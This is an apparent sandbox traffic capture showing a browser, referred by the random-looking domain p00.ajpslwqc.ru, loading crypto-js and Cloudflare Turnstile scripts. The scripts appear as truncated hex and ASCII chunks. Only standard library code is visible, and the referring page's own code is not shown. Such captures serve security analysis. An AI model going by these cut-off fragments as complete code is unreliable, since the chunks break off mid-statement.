2025-03-14 12:29:04 UTC	7581	IN	Data Raw: 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 2c 72 3d 69 2e 78 68 72 28 29 3b 69 66 28 72 2e 6f 70 65 6e 28 69 2e 74 79 70 65 2c 69 2e 75 72 6c 2c 69 2e 61 73 79 6e 63 2c 69 2e 75 73 65 72 6e 61 6d 65 2c 69 2e 70 61 73 73 77 6f 72 64 29 2c 69 2e 78 68 72 46 69 65 6c 64 73 29 66 6f 72 28 6e 20 69 6e 20 69 2e 78 68 72 46 69 65 6c 64 73 29 72 5b 6e 5d 3d 69 2e 78 68 72 46 69 65 6c 64 73 5b 6e 5d 3b 66 6f 72 28 6e 20 69 6e 20 69 2e 6d 69 6d 65 54 79 70 65 26 26 72 2e 6f 76 65 72 72 69 64 65 4d 69 6d 65 54 79 70 65 26 26 72 2e 6f 76 65 72 72 69 64 65 4d 69 6d 65 54 79 70 65 28 69 2e 6d 69 6d 65 54 79 70 65 29 2c 69 2e 63 72 6f 73 73 44 6f 6d 61 69 6e 7c 7c 65 5b 22 58 2d 52 65 71 75 65 73 74 65 64 2d 57 69 74 68 22 5d 7c 7c 28 65 5b 22 58 2d 52 Data Ascii: :function(e,t){var n,r=i.xhr();if(r.open(i.type,i.url,i.async,i.username,i.password),i.xhrFields)for(n in i.xhrFields)r[n]=i.xhrFields[n];for(n in i.mimeType&&r.overrideMimeType&&r.overrideMimeType(i.mimeType),i.crossDomain\|\|e["X-Requested-With"]\|\|(e["X-R

Timestamp	Bytes transferred	Direction	Data
2025-03-14 12:29:03 UTC	690	OUT	GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Referer: https://p00.ajpslwqc.ru/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-14 12:29:03 UTC	957	IN	HTTP/1.1 200 OK Date: Fri, 14 Mar 2025 12:29:03 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"61182885-40eb" Last-Modified: Sat, 14 Aug 2021 20:33:09 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 36903 Expires: Wed, 04 Mar 2026 12:29:03 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1Pm03IA6ZYJH6GWshOkeBXr%2Fs6oIVEjAPp5iM%2F2oSVICtd5uibY4bCgtG6bhtLXh5Mps2UknKeZHz8yZsj8IC8tzzmb5T%2BSqdGFOYzfe7p6PmspEEQ9PLPhiOjMcBvB9BAxeJrq3"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 9203c6437ab8a0fb-EWR alt-svc: h3=":443"; ma=86400
2025-03-14 12:29:03 UTC	412	IN	Data Raw: 37 62 66 34 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 78 70 6f 72 74 73 3d 65 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 5d 2c 65 29 3a 74 2e 43 72 79 70 74 6f 4a 53 3d 65 28 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6e 2c 6f 2c 73 2c 61 2c 68 2c 74 2c 65 2c 6c 2c 72 2c 69 2c 63 2c 66 2c 64 2c 75 2c 70 2c 53 2c 78 2c 62 2c 41 2c 48 2c 7a 2c 5f 2c 76 2c 67 2c 79 2c 42 2c 77 2c 6b 2c 6d 2c 43 2c 44 2c 45 2c 52 2c 4d 2c 46 2c 50 2c 57 2c 4f 2c 49 2c 55 3d 55 7c 7c 66 75 6e 63 74 69 6f 6e 28 68 29 7b Data Ascii: 7bf4!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var n,o,s,a,h,t,e,l,r,i,c,f,d,u,p,S,x,b,A,H,z,_,v,g,y,B,w,k,m,C,D,E,R,M,F,P,W,O,I,U=U\|\|function(h){
2025-03-14 12:29:03 UTC	1369	IN	Data Raw: 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2e 63 72 79 70 74 6f 3f 67 6c 6f 62 61 6c 54 68 69 73 2e 63 72 79 70 74 6f 3a 69 29 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 3f 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 3a 69 29 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 3f 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 3a 69 29 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 72 65 71 75 69 72 65 29 74 72 79 7b 69 3d 72 65 71 75 69 72 65 28 22 63 72 79 70 74 6f 22 29 7d 63 61 74 63 68 28 74 29 7b 7d 76 61 72 20 72 3d 4f 62 6a 65 63 74 2e 63 72 65 61 74 Data Ascii: globalThis&&globalThis.crypto?globalThis.crypto:i)&&"undefined"!=typeof window&&window.msCrypto?window.msCrypto:i)&&"undefined"!=typeof global&&global.crypto?global.crypto:i)&&"function"==typeof require)try{i=require("crypto")}catch(t){}var r=Object.creat
2025-03-14 12:29:03 UTC	1369	IN	Data Raw: 6c 6c 28 74 68 69 73 29 3b 72 65 74 75 72 6e 20 74 2e 77 6f 72 64 73 3d 74 68 69 73 2e 77 6f 72 64 73 2e 73 6c 69 63 65 28 30 29 2c 74 7d 2c 72 61 6e 64 6f 6d 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 6f 72 28 76 61 72 20 65 3d 5b 5d 2c 72 3d 30 3b 72 3c 74 3b 72 2b 3d 34 29 65 2e 70 75 73 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 69 29 7b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 69 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 29 74 72 79 7b 72 65 74 75 72 6e 20 69 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 28 6e 65 77 20 55 69 6e 74 33 32 41 72 72 61 79 28 31 29 29 5b 30 5d 7d 63 61 74 63 68 28 74 29 7b 7d 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 69 2e 72 61 6e 64 6f 6d 42 79 74 65 73 29 74 Data Ascii: ll(this);return t.words=this.words.slice(0),t},random:function(t){for(var e=[],r=0;r<t;r+=4)e.push(function(){if(i){if("function"==typeof i.getRandomValues)try{return i.getRandomValues(new Uint32Array(1))[0]}catch(t){}if("function"==typeof i.randomBytes)t
2025-03-14 12:29:03 UTC	1369	IN	Data Raw: 6f 66 20 74 26 26 28 74 3d 66 2e 70 61 72 73 65 28 74 29 29 2c 74 68 69 73 2e 5f 64 61 74 61 2e 63 6f 6e 63 61 74 28 74 29 2c 74 68 69 73 2e 5f 6e 44 61 74 61 42 79 74 65 73 2b 3d 74 2e 73 69 67 42 79 74 65 73 7d 2c 5f 70 72 6f 63 65 73 73 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 2c 72 3d 74 68 69 73 2e 5f 64 61 74 61 2c 69 3d 72 2e 77 6f 72 64 73 2c 6e 3d 72 2e 73 69 67 42 79 74 65 73 2c 6f 3d 74 68 69 73 2e 62 6c 6f 63 6b 53 69 7a 65 2c 73 3d 6e 2f 28 34 2a 6f 29 2c 63 3d 28 73 3d 74 3f 68 2e 63 65 69 6c 28 73 29 3a 68 2e 6d 61 78 28 28 30 7c 73 29 2d 74 68 69 73 2e 5f 6d 69 6e 42 75 66 66 65 72 53 69 7a 65 2c 30 29 29 2a 6f 2c 6e 3d 68 2e 6d 69 6e 28 34 2a 63 2c 6e 29 3b 69 66 28 63 29 7b 66 6f 72 28 76 61 72 20 61 3d 30 3b 61 3c 63 3b 61 Data Ascii: of t&&(t=f.parse(t)),this._data.concat(t),this._nDataBytes+=t.sigBytes},_process:function(t){var e,r=this._data,i=r.words,n=r.sigBytes,o=this.blockSize,s=n/(4o),c=(s=t?h.ceil(s):h.max((0\|s)-this._minBufferSize,0))o,n=h.min(4*c,n);if(c){for(var a=0;a<c;a
2025-03-14 12:29:03 UTC	1369	IN	Data Raw: 72 20 74 3d 74 68 69 73 2e 5f 58 2c 65 3d 74 68 69 73 2e 5f 43 2c 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 45 5b 72 5d 3d 65 5b 72 5d 3b 65 5b 30 5d 3d 65 5b 30 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 74 68 69 73 2e 5f 62 7c 30 2c 65 5b 31 5d 3d 65 5b 31 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 30 5d 3e 3e 3e 30 3c 45 5b 30 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 32 5d 3d 65 5b 32 5d 2b 38 38 36 32 36 33 30 39 32 2b 28 65 5b 31 5d 3e 3e 3e 30 3c 45 5b 31 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 33 5d 3d 65 5b 33 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 28 65 5b 32 5d 3e 3e 3e 30 3c 45 5b 32 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 34 5d 3d 65 5b 34 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 33 5d 3e 3e 3e 30 3c 45 5b 33 5d 3e 3e 3e 30 3f Data Ascii: r t=this._X,e=this._C,r=0;r<8;r++)E[r]=e[r];e[0]=e[0]+1295307597+this._b\|0,e[1]=e[1]+3545052371+(e[0]>>>0<E[0]>>>0?1:0)\|0,e[2]=e[2]+886263092+(e[1]>>>0<E[1]>>>0?1:0)\|0,e[3]=e[3]+1295307597+(e[2]>>>0<E[2]>>>0?1:0)\|0,e[4]=e[4]+3545052371+(e[3]>>>0<E[3]>>>0?
2025-03-14 12:29:03 UTC	1369	IN	Data Raw: 72 28 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 74 5b 72 5d 2b 65 5b 72 5d 2c 6e 3d 36 35 35 33 35 26 69 2c 6f 3d 69 3e 3e 3e 31 36 3b 49 5b 72 5d 3d 28 28 6e 2a 6e 3e 3e 3e 31 37 29 2b 6e 2a 6f 3e 3e 3e 31 35 29 2b 6f 2a 6f 5e 28 28 34 32 39 34 39 30 31 37 36 30 26 69 29 2a 69 7c 30 29 2b 28 28 36 35 35 33 35 26 69 29 2a 69 7c 30 29 7d 74 5b 30 5d 3d 49 5b 30 5d 2b 28 49 5b 37 5d 3c 3c 31 36 7c 49 5b 37 5d 3e 3e 3e 31 36 29 2b 28 49 5b 36 5d 3c 3c 31 36 7c 49 5b 36 5d 3e 3e 3e 31 36 29 7c 30 2c 74 5b 31 5d 3d 49 5b 31 5d 2b 28 49 5b 30 5d 3c 3c 38 7c 49 5b 30 5d 3e 3e 3e 32 34 29 2b 49 5b 37 5d 7c 30 2c 74 5b 32 5d 3d 49 5b 32 5d 2b 28 49 5b 31 5d 3c 3c 31 36 7c 49 5b 31 5d 3e 3e 3e 31 36 29 2b 28 49 5b 30 5d 3c 3c 31 36 7c 49 5b 30 5d 3e Data Ascii: r(r=0;r<8;r++){var i=t[r]+e[r],n=65535&i,o=i>>>16;I[r]=((nn>>>17)+no>>>15)+oo^((4294901760&i)i\|0)+((65535&i)*i\|0)}t[0]=I[0]+(I[7]<<16\|I[7]>>>16)+(I[6]<<16\|I[6]>>>16)\|0,t[1]=I[1]+(I[0]<<8\|I[0]>>>24)+I[7]\|0,t[2]=I[2]+(I[1]<<16\|I[1]>>>16)+(I[0]<<16\|I[0]>
2025-03-14 12:29:03 UTC	1369	IN	Data Raw: 74 2e 62 79 74 65 4f 66 66 73 65 74 2c 74 2e 62 79 74 65 4c 65 6e 67 74 68 29 3a 74 29 69 6e 73 74 61 6e 63 65 6f 66 20 55 69 6e 74 38 41 72 72 61 79 29 7b 66 6f 72 28 76 61 72 20 65 3d 74 2e 62 79 74 65 4c 65 6e 67 74 68 2c 72 3d 5b 5d 2c 69 3d 30 3b 69 3c 65 3b 69 2b 2b 29 72 5b 69 3e 3e 3e 32 5d 7c 3d 74 5b 69 5d 3c 3c 32 34 2d 69 25 34 2a 38 3b 73 2e 63 61 6c 6c 28 74 68 69 73 2c 72 2c 65 29 7d 65 6c 73 65 20 73 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 7d 29 2e 70 72 6f 74 6f 74 79 70 65 3d 50 29 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 55 2c 6e 3d 74 2e 6c 69 62 2e 57 6f 72 64 41 72 72 61 79 2c 74 3d 74 2e 65 6e 63 3b 74 2e 55 74 66 31 36 3d 74 2e 55 74 66 31 36 42 45 3d 7b 73 74 72 69 6e 67 69 66 79 3a 66 75 6e Data Ascii: t.byteOffset,t.byteLength):t)instanceof Uint8Array){for(var e=t.byteLength,r=[],i=0;i<e;i++)r[i>>>2]\|=t[i]<<24-i%4*8;s.call(this,r,e)}else s.apply(this,arguments)}).prototype=P),function(){var t=U,n=t.lib.WordArray,t=t.enc;t.Utf16=t.Utf16BE={stringify:fun
2025-03-14 12:29:03 UTC	1369	IN	Data Raw: 72 41 74 28 36 34 29 3b 72 65 74 75 72 6e 21 6f 7c 7c 2d 31 21 3d 3d 28 6f 3d 74 2e 69 6e 64 65 78 4f 66 28 6f 29 29 26 26 28 65 3d 6f 29 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 72 29 7b 66 6f 72 28 76 61 72 20 69 3d 5b 5d 2c 6e 3d 30 2c 6f 3d 30 3b 6f 3c 65 3b 6f 2b 2b 29 7b 76 61 72 20 73 2c 63 3b 6f 25 34 26 26 28 73 3d 72 5b 74 2e 63 68 61 72 43 6f 64 65 41 74 28 6f 2d 31 29 5d 3c 3c 6f 25 34 2a 32 2c 63 3d 72 5b 74 2e 63 68 61 72 43 6f 64 65 41 74 28 6f 29 5d 3e 3e 3e 36 2d 6f 25 34 2a 32 2c 63 3d 73 7c 63 2c 69 5b 6e 3e 3e 3e 32 5d 7c 3d 63 3c 3c 32 34 2d 6e 25 34 2a 38 2c 6e 2b 2b 29 7d 72 65 74 75 72 6e 20 61 2e 63 72 65 61 74 65 28 69 2c 6e 29 7d 28 74 2c 65 2c 69 29 7d 2c 5f 6d 61 70 3a 22 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 51 52 Data Ascii: rAt(64);return!o\|\|-1!==(o=t.indexOf(o))&&(e=o),function(t,e,r){for(var i=[],n=0,o=0;o<e;o++){var s,c;o%4&&(s=r[t.charCodeAt(o-1)]<<o%42,c=r[t.charCodeAt(o)]>>>6-o%42,c=s\|c,i[n>>>2]\|=c<<24-n%4*8,n++)}return a.create(i,n)}(t,e,i)},_map:"ABCDEFGHIJKLMNOPQR
2025-03-14 12:29:03 UTC	1369	IN	Data Raw: 73 69 6e 28 74 2b 31 29 29 7c 30 7d 28 29 3b 65 3d 65 2e 4d 44 35 3d 69 2e 65 78 74 65 6e 64 28 7b 5f 64 6f 52 65 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 5f 68 61 73 68 3d 6e 65 77 20 72 2e 69 6e 69 74 28 5b 31 37 33 32 35 38 34 31 39 33 2c 34 30 32 33 32 33 33 34 31 37 2c 32 35 36 32 33 38 33 31 30 32 2c 32 37 31 37 33 33 38 37 38 5d 29 7d 2c 5f 64 6f 50 72 6f 63 65 73 73 42 6c 6f 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 72 3d 30 3b 72 3c 31 36 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 65 2b 72 2c 6e 3d 74 5b 69 5d 3b 74 5b 69 5d 3d 31 36 37 31 31 39 33 35 26 28 6e 3c 3c 38 7c 6e 3e 3e 3e 32 34 29 7c 34 32 37 38 32 35 35 33 36 30 26 28 6e 3c 3c 32 34 7c 6e 3e 3e 3e 38 29 7d 76 61 72 20 6f 3d 74 68 69 73 2e Data Ascii: sin(t+1))\|0}();e=e.MD5=i.extend({_doReset:function(){this._hash=new r.init([1732584193,4023233417,2562383102,271733878])},_doProcessBlock:function(t,e){for(var r=0;r<16;r++){var i=e+r,n=t[i];t[i]=16711935&(n<<8\|n>>>24)\|4278255360&(n<<24\|n>>>8)}var o=this.
2025-03-14 12:29:03 UTC	1369	IN	Data Raw: 6d 3d 43 28 6d 2c 62 2c 78 2c 53 2c 42 2c 34 2c 41 5b 34 30 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 73 2c 31 31 2c 41 5b 34 31 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 68 2c 31 36 2c 41 5b 34 32 5d 29 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 64 2c 32 33 2c 41 5b 34 33 5d 29 2c 6d 3d 43 28 6d 2c 62 2c 78 2c 53 2c 5f 2c 34 2c 41 5b 34 34 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 67 2c 31 31 2c 41 5b 34 35 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 6b 2c 31 36 2c 41 5b 34 36 5d 29 2c 6d 3d 44 28 6d 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 61 2c 32 33 2c 41 5b 34 37 5d 29 2c 78 2c 53 2c 73 2c 36 2c 41 5b 34 38 5d 29 2c 53 3d 44 28 53 2c 6d 2c 62 2c 78 2c 75 2c 31 30 2c 41 5b 34 39 5d 29 2c 78 3d 44 28 78 2c 53 2c 6d 2c 62 2c 77 2c 31 35 2c 41 5b 35 Data Ascii: m=C(m,b,x,S,B,4,A[40]),S=C(S,m,b,x,s,11,A[41]),x=C(x,S,m,b,h,16,A[42]),b=C(b,x,S,m,d,23,A[43]),m=C(m,b,x,S,_,4,A[44]),S=C(S,m,b,x,g,11,A[45]),x=C(x,S,m,b,k,16,A[46]),m=D(m,b=C(b,x,S,m,a,23,A[47]),x,S,s,6,A[48]),S=D(S,m,b,x,u,10,A[49]),x=D(x,S,m,b,w,15,A[5

Timestamp	Bytes transferred	Direction	Data
2025-03-14 12:29:03 UTC	703	OUT	GET /turnstile/v0/api.js?onload=onloadTurnstileCallback HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Referer: https://p00.ajpslwqc.ru/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-14 12:29:03 UTC	386	IN	HTTP/1.1 302 Found Date: Fri, 14 Mar 2025 12:29:03 GMT Content-Length: 0 Connection: close access-control-allow-origin: * cache-control: max-age=300, stale-if-error=10800, stale-while-revalidate=300, public cross-origin-resource-policy: cross-origin location: /turnstile/v0/g/f3b948d8acb8/api.js Server: cloudflare CF-RAY: 9203c6437b6b4268-EWR alt-svc: h3=":443"; ma=86400

Timestamp	Bytes transferred	Direction	Data
2025-03-14 12:29:04 UTC	687	OUT	GET /turnstile/v0/g/f3b948d8acb8/api.js HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Referer: https://p00.ajpslwqc.ru/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-14 12:29:04 UTC	471	IN	HTTP/1.1 200 OK Date: Fri, 14 Mar 2025 12:29:04 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 48239 Connection: close accept-ranges: bytes last-modified: Fri, 28 Feb 2025 15:24:08 GMT cache-control: max-age=31536000, stale-if-error=10800, stale-while-revalidate=31536000, public access-control-allow-origin: * cross-origin-resource-policy: cross-origin Server: cloudflare CF-RAY: 9203c6477ceb4344-EWR alt-svc: h3=":443"; ma=86400
2025-03-14 12:29:04 UTC	1369	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 48 74 28 65 2c 74 2c 61 2c 6f 2c 63 2c 6c 2c 76 29 7b 74 72 79 7b 76 61 72 20 68 3d 65 5b 6c 5d 28 76 29 2c 73 3d 68 2e 76 61 6c 75 65 7d 63 61 74 63 68 28 70 29 7b 61 28 70 29 3b 72 65 74 75 72 6e 7d 68 2e 64 6f 6e 65 3f 74 28 73 29 3a 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 73 29 2e 74 68 65 6e 28 6f 2c 63 29 7d 66 75 6e 63 74 69 6f 6e 20 71 74 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 74 68 69 73 2c 61 3d 61 72 67 75 6d 65 6e 74 73 3b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 63 29 7b 76 61 72 20 6c 3d 65 2e 61 70 70 6c 79 28 74 2c 61 29 3b 66 75 6e 63 74 Data Ascii: "use strict";(function(){function Ht(e,t,a,o,c,l,v){try{var h=e[l](v),s=h.value}catch(p){a(p);return}h.done?t(s):Promise.resolve(s).then(o,c)}function qt(e){return function(){var t=this,a=arguments;return new Promise(function(o,c){var l=e.apply(t,a);funct
2025-03-14 12:29:04 UTC	1369	IN	Data Raw: 74 28 65 29 7b 69 66 28 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 65 29 29 72 65 74 75 72 6e 20 65 7d 66 75 6e 63 74 69 6f 6e 20 42 74 28 65 2c 74 29 7b 76 61 72 20 61 3d 65 3d 3d 6e 75 6c 6c 3f 6e 75 6c 6c 3a 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 65 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 7c 7c 65 5b 22 40 40 69 74 65 72 61 74 6f 72 22 5d 3b 69 66 28 61 21 3d 6e 75 6c 6c 29 7b 76 61 72 20 6f 3d 5b 5d 2c 63 3d 21 30 2c 6c 3d 21 31 2c 76 2c 68 3b 74 72 79 7b 66 6f 72 28 61 3d 61 2e 63 61 6c 6c 28 65 29 3b 21 28 63 3d 28 76 3d 61 2e 6e 65 78 74 28 29 29 2e 64 6f 6e 65 29 26 26 28 6f 2e 70 75 73 68 28 76 2e 76 61 6c 75 65 29 2c 21 28 74 26 26 6f 2e 6c 65 6e 67 74 68 3d 3d 3d 74 29 29 3b 63 3d 21 30 29 Data Ascii: t(e){if(Array.isArray(e))return e}function Bt(e,t){var a=e==null?null:typeof Symbol!="undefined"&&e[Symbol.iterator]\|\|e["@@iterator"];if(a!=null){var o=[],c=!0,l=!1,v,h;try{for(a=a.call(e);!(c=(v=a.next()).done)&&(o.push(v.value),!(t&&o.length===t));c=!0)
2025-03-14 12:29:04 UTC	1369	IN	Data Raw: 5d 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 73 28 70 29 7b 69 66 28 6f 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 47 65 6e 65 72 61 74 6f 72 20 69 73 20 61 6c 72 65 61 64 79 20 65 78 65 63 75 74 69 6e 67 2e 22 29 3b 66 6f 72 28 3b 76 26 26 28 76 3d 30 2c 70 5b 30 5d 26 26 28 61 3d 30 29 29 2c 61 3b 29 74 72 79 7b 69 66 28 6f 3d 31 2c 63 26 26 28 6c 3d 70 5b 30 5d 26 32 3f 63 2e 72 65 74 75 72 6e 3a 70 5b 30 5d 3f 63 2e 74 68 72 6f 77 7c 7c 28 28 6c 3d 63 2e 72 65 74 75 72 6e 29 26 26 6c 2e 63 61 6c 6c 28 63 29 2c 30 29 3a 63 2e 6e 65 78 74 29 26 26 21 28 6c 3d 6c 2e 63 61 6c 6c 28 63 2c 70 5b 31 5d 29 29 2e 64 6f 6e 65 29 72 65 74 75 72 6e 20 6c 3b 73 77 69 74 63 68 28 63 3d 30 2c 6c 26 26 28 70 3d 5b 70 5b 30 5d 26 32 2c 6c 2e 76 61 6c Data Ascii: ])}}function s(p){if(o)throw new TypeError("Generator is already executing.");for(;v&&(v=0,p[0]&&(a=0)),a;)try{if(o=1,c&&(l=p[0]&2?c.return:p[0]?c.throw\|\|((l=c.return)&&l.call(c),0):c.next)&&!(l=l.call(c,p[1])).done)return l;switch(c=0,l&&(p=[p[0]&2,l.val
2025-03-14 12:29:04 UTC	1369	IN	Data Raw: 29 3b 76 61 72 20 6a 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 41 75 74 6f 3d 22 61 75 74 6f 22 2c 65 2e 4c 69 67 68 74 3d 22 6c 69 67 68 74 22 2c 65 2e 44 61 72 6b 3d 22 64 61 72 6b 22 7d 29 28 6a 65 7c 7c 28 6a 65 3d 7b 7d 29 29 3b 76 61 72 20 43 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 56 65 72 69 66 79 69 6e 67 3d 22 76 65 72 69 66 79 69 6e 67 22 2c 65 2e 56 65 72 69 66 79 69 6e 67 48 61 76 69 6e 67 54 72 6f 75 62 6c 65 73 3d 22 76 65 72 69 66 79 69 6e 67 2d 68 61 76 69 6e 67 2d 74 72 6f 75 62 6c 65 73 22 2c 65 2e 56 65 72 69 66 79 69 6e 67 4f 76 65 72 72 75 6e 3d 22 76 65 72 69 66 79 69 6e 67 2d 6f 76 65 72 72 75 6e 22 2c 65 2e 46 61 69 6c 75 72 65 57 6f 48 61 76 69 6e 67 54 72 6f 75 62 6c 65 73 3d 22 66 61 69 6c 75 72 65 2d 77 6f Data Ascii: );var je;(function(e){e.Auto="auto",e.Light="light",e.Dark="dark"})(je\|\|(je={}));var Ce;(function(e){e.Verifying="verifying",e.VerifyingHavingTroubles="verifying-having-troubles",e.VerifyingOverrun="verifying-overrun",e.FailureWoHavingTroubles="failure-wo
2025-03-14 12:29:04 UTC	1369	IN	Data Raw: 78 65 63 75 74 65 22 2c 65 2e 41 75 74 6f 45 78 70 69 72 65 3d 22 61 75 74 6f 5f 65 78 70 69 72 65 22 2c 65 2e 41 75 74 6f 54 69 6d 65 6f 75 74 3d 22 61 75 74 6f 5f 74 69 6d 65 6f 75 74 22 2c 65 2e 4d 61 6e 75 61 6c 52 65 66 72 65 73 68 3d 22 6d 61 6e 75 61 6c 5f 72 65 66 72 65 73 68 22 2c 65 2e 41 70 69 3d 22 61 70 69 22 2c 65 2e 43 68 65 63 6b 44 65 6c 61 79 73 3d 22 63 68 65 63 6b 5f 64 65 6c 61 79 73 22 2c 65 2e 54 69 6d 65 43 68 65 63 6b 43 61 63 68 65 64 57 61 72 6e 69 6e 67 41 75 78 3d 22 74 69 6d 65 5f 63 68 65 63 6b 5f 63 61 63 68 65 64 5f 77 61 72 6e 69 6e 67 5f 61 75 78 22 2c 65 2e 4a 73 43 6f 6f 6b 69 65 73 4d 69 73 73 69 6e 67 41 75 78 3d 22 6a 73 5f 63 6f 6f 6b 69 65 73 5f 6d 69 73 73 69 6e 67 5f 61 75 78 22 2c 65 2e 52 